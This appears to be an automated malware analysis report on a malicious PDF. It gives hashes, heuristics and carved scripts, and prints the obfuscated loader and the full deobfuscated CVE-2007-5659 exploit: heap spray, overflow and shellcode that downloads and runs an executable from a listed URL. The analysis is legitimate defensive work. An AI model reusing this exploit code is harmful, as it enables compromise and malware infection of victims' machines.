Malicious PDF — malware analysis report

Static analysis result for SHA-256 d93e7e92568d3928…

MALICIOUS

PDF

2.4 KB First seen: 2026-05-10
MD5: 3f9413e48540f556cae1192a7898ad1d SHA-1: 7a6e9061f8f252e59ddb64bfc6f30d8dbea37723 SHA-256: d93e7e92568d3928a77e5e8cf49411405a3a12e436a45a48f3e8893953bccfe6
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that utilizes the CVE-2007-5659 vulnerability (Collab.collectEmailInfo). This vulnerability is known to allow for arbitrary JavaScript execution. The JavaScript is obfuscated using eval() and unescape() functions, and String.fromCharCode is used to construct parts of the malicious code. The primary intent appears to be exploiting this known PDF vulnerability to achieve code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://catchsis.com/blog/l.php?i=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x84C 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2634 bytes
SHA-256: 14e8b3a267716fab6e76153e9d2615c573a9c764b679bcee264973df67bf1e69
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u632f%u7461%u6863%u6973%u2e73%u6f63%u2f6d%u6c62%u676f%u6c2f%u702e%u7068%u693f%u343d%u9000');var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape('%u9090%u9090');yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape('%u0c0c%u0c0c');while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:'', msg:overflow});

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